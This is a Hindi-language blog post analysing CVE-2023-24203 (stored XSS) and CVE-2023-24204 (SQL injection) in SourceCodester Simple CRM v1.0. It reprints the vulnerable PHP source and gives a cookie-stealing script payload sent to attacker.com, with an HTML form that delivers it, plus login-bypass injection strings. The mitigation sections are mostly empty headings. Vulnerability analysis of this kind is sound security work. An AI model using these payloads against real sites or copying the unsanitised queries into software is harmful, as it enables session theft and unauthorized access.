
CVE-2023-24203 (Stored XSS) और CVE-2023-24204 (SQL Injection) का SourceCodester CRM में शैक्षिक विश्लेषण, शोषण चरणों और शमन रणनीतियों के साथ।
साइबर सुरक्षा के निरंतर विकसित होते परिदृश्य में, वेब एप्लिकेशन हमलावरों के लिए एक प्रमुख लक्ष्य बने हुए हैं जो कमजोरियों का शोषण करना चाहते हैं। हाल ही में, SourceCodester Simple Customer Relationship Management (CRM) System v1.0 में दो महत्वपूर्ण कमजोरियाँ खोजी गईं: CVE-2023-24203 और CVE-2023-24204। इन कमजोरियों में क्रॉस-साइट स्क्रिप्टिंग (XSS) और SQL इंजेक्शन शामिल हैं, जो मनमाना कोड निष्पादन और अनधिकृत पहुँच सहित महत्वपूर्ण जोखिम पैदा करती हैं। डेवलपर्स और सुरक्षा पेशेवरों के लिए इन कमजोरियों और उनके प्रभावों को समझना संभावित खतरों से सिस्टम की सुरक्षा के लिए आवश्यक है।
क्रॉस-साइट स्क्रिप्टिंग (XSS) एक प्रकार की कमजोरी है जो तब होती है जब कोई वेब एप्लिकेशन उपयोगकर्ताओं को अन्य उपयोगकर्ताओं द्वारा देखे गए वेब पेजों में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करने की अनुमति देता है। इससे उपयोगकर्ता की ओर से अनधिकृत कार्रवाई, डेटा चोरी और आगे का शोषण हो सकता है। XSS कमजोरियों को तीन मुख्य प्रकारों में वर्गीकृत किया जा सकता है:
SQL इंजेक्शन एक प्रकार की कमजोरी है जो तब होती है जब कोई हमलावर क्वेरी में मनमाना SQL कोड इंजेक्ट करके SQL क्वेरी में हेरफेर करने में सक्षम होता है। इससे अनधिकृत पहुँच, डेटा चोरी और अन्य दुर्भावनापूर्ण गतिविधियाँ हो सकती हैं। SQL इंजेक्शन आमतौर पर अपर्याप्त इनपुट सत्यापन और पैरामीटरयुक्त क्वेरी की कमी के कारण होता है। SQL इंजेक्शन के मुख्य प्रभावों में शामिल हैं:
इस ब्लॉग पोस्ट में, हम CVE-2023-24203 और CVE-2023-24204 पर ध्यान देंगे, इन कमजोरियों के विवरण, उनके हमले के वैक्टर, प्रभाव और शमन रणनीतियों की खोज करेंगे। संभावित शोषण से अपने एप्लिकेशन और डेटा की सुरक्षा के लिए इन कमजोरियों को गहराई से समझना महत्वपूर्ण है।
SQL इंजेक्शन कमजोरियाँ अक्सर अपर्याप्त इनपुट सत्यापन और खराब कोडिंग प्रथाओं का परिणाम होती हैं। कुछ सामान्य कारणों में शामिल हैं:
क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियाँ आमतौर पर उपयोगकर्ता इनपुट और आउटपुट को ठीक से संभालने में विफलता के कारण होती हैं। सामान्य कारणों में शामिल हैं:
CVE-2023-24203 SourceCodester Simple Customer Relationship Management (CRM) System v1.0 के get-quote.php घटक में पाई गई एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी है। यह कमजोरी एक हमलावर को company और query पैरामीटर में दुर्भावनापूर्ण स्क्रिप्ट इंजेक्ट करने की अनुमति देती है, जो तब डेटाबेस में संग्रहीत हो जाती हैं और जब किसी व्यवस्थापक द्वारा देखी जाती हैं तो निष्पादित होती हैं, जिससे मनमाना कोड निष्पादन होता है।
कमजोरी get-quote.php स्क्रिप्ट में निहित है, जो एक उद्धरण अनुरोध फॉर्म से उपयोगकर्ता इनपुट को संसाधित करती है। PHP स्रोत कोड नीचे दिखाया गया है:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
स्क्रिप्ट फॉर्म से उपयोगकर्ता इनपुट (नाम, ईमेल, संपर्क, कंपनी, सेवाएँ, अन्य, और क्वेरी) लेती है और उन्हें सीधे SQL क्वेरी में शामिल करके डेटाबेस में डेटा संग्रहीत करती है। जबकि सेवाओं के इनपुट को mysqli_real_escape_string और addslashes का उपयोग करके स्वच्छ किया जाता है, कंपनी और क्वेरी पैरामीटर को प्रतिक्रिया में वापस इको करते समय ठीक से स्वच्छ या एन्कोड नहीं किया जाता है। उचित स्वच्छता और एन्कोडिंग की यह कमी डेटाबेस में दुर्भावनापूर्ण स्क्रिप्ट के इंजेक्शन और भंडारण की अनुमति देती है।
इस कमजोरी का शोषण करने के लिए, एक हमलावर कंपनी या क्वेरी पैरामीटर में दुर्भावनापूर्ण JavaScript कोड शामिल करने वाला पेलोड तैयार कर सकता है। जब व्यवस्थापक उद्धरण अनुरोध देखता है, तो इंजेक्ट की गई स्क्रिप्ट उनके ब्राउज़र में निष्पादित होगी।
क्वेरी पैरामीटर में निम्नलिखित पेलोड सबमिट करके:
<script>alert('XSS');</script>
हमलावर एक XSS हमले को ट्रिगर कर सकता है जब व्यवस्थापक उद्धरण अनुरोध देखता है।
व्यवस्थापक के सत्र कुकीज़ चुराने के लिए अधिक हानिकारक पेलोड तैयार किया जा सकता है। क्वेरी पैरामीटर में निम्नलिखित पेलोड का उपयोग करके:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
हमलावर व्यवस्थापक की कुकीज़ को हमलावर द्वारा नियंत्रित दूरस्थ सर्वर पर भेज सकता है।
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
इस स्टोर्ड XSS कमजोरी का सफल शोषण एक हमलावर को व्यवस्थापक के ब्राउज़र के संदर्भ में मनमाना JavaScript निष्पादित करने की अनुमति देता है। इससे विभिन्न दुर्भावनापूर्ण कार्य हो सकते हैं, जिनमें शामिल हैं:
इस कमजोरी को कम करने के लिए, वेब पेज में शामिल करने से पहले सभी उपयोगकर्ता इनपुट को स्वच्छ और एन्कोड करना आवश्यक है। विशेष रूप से:
CVE-2023-24204 SourceCodester Simple Customer Relationship Management (CRM) System v1.0 के get-quote.php और login.php घटकों में पाई गई एक SQL इंजेक्शन कमजोरी है। यह कमजोरी एक हमलावर को डेटाबेस में मनमाना SQL कमांड इंजेक्ट करने की अनुमति देती है, जिससे संभावित रूप से अनधिकृत पहुँच और डेटा हेरफेर हो सकता है।
SQL इंजेक्शन कमजोरी get-quote.php और admin/login.php दोनों स्क्रिप्ट में मौजूद है। नीचे इन कमजोरियों के प्रकट होने और शोषण किए जाने के तरीके का विश्लेषण दिया गया है।
get-quote.php स्क्रिप्ट एक उद्धरण अनुरोध फॉर्म से उपयोगकर्ता इनपुट को संसाधित करती है। स्रोत कोड नीचे दिखाया गया है:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
और आइए login.php स्रोत कोड तर्क पर भी एक नज़र डालते हैं।
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
get-quote.php स्क्रिप्ट name पैरामीटर को पर्याप्त रूप से स्वच्छ नहीं करती है। एक हमलावर Burp Suite जैसे टूल का उपयोग करके अनुरोध को इंटरसेप्ट कर सकता है, name पैरामीटर को संशोधित कर सकता है, और दुर्भावनापूर्ण SQL कमांड इंजेक्ट कर सकता है।
login.php स्क्रिप्ट ईमेल और पासवर्ड फ़ील्ड पर उचित इनपुट सत्यापन की कमी के कारण प्रमाणीकरण बाइपास के प्रति संवेदनशील है। एक हमलावर प्रमाणीकरण को बायपास करने और पहुँच प्राप्त करने के लिए hack' or 1=1;# जैसे पेलोड का उपयोग कर सकता है।
' OR '1'='1';--
इन SQL इंजेक्शन कमजोरियों का सफल शोषण विभिन्न दुर्भावनापूर्ण कार्यों को जन्म दे सकता है, जिनमें शामिल हैं:
इन कमजोरियों को कम करने के लिए, उचित इनपुट सत्यापन लागू करना और पैरामीटरयुक्त क्वेरी का उपयोग करना आवश्यक है। विशेष रूप से:
इन सर्वोत्तम प्रथाओं का पालन करके, आप SQL इंजेक्शन हमलों के जोखिम को काफी कम कर सकते हैं और अपने वेब एप्लिकेशन को संभावित शोषण से बचा सकते हैं।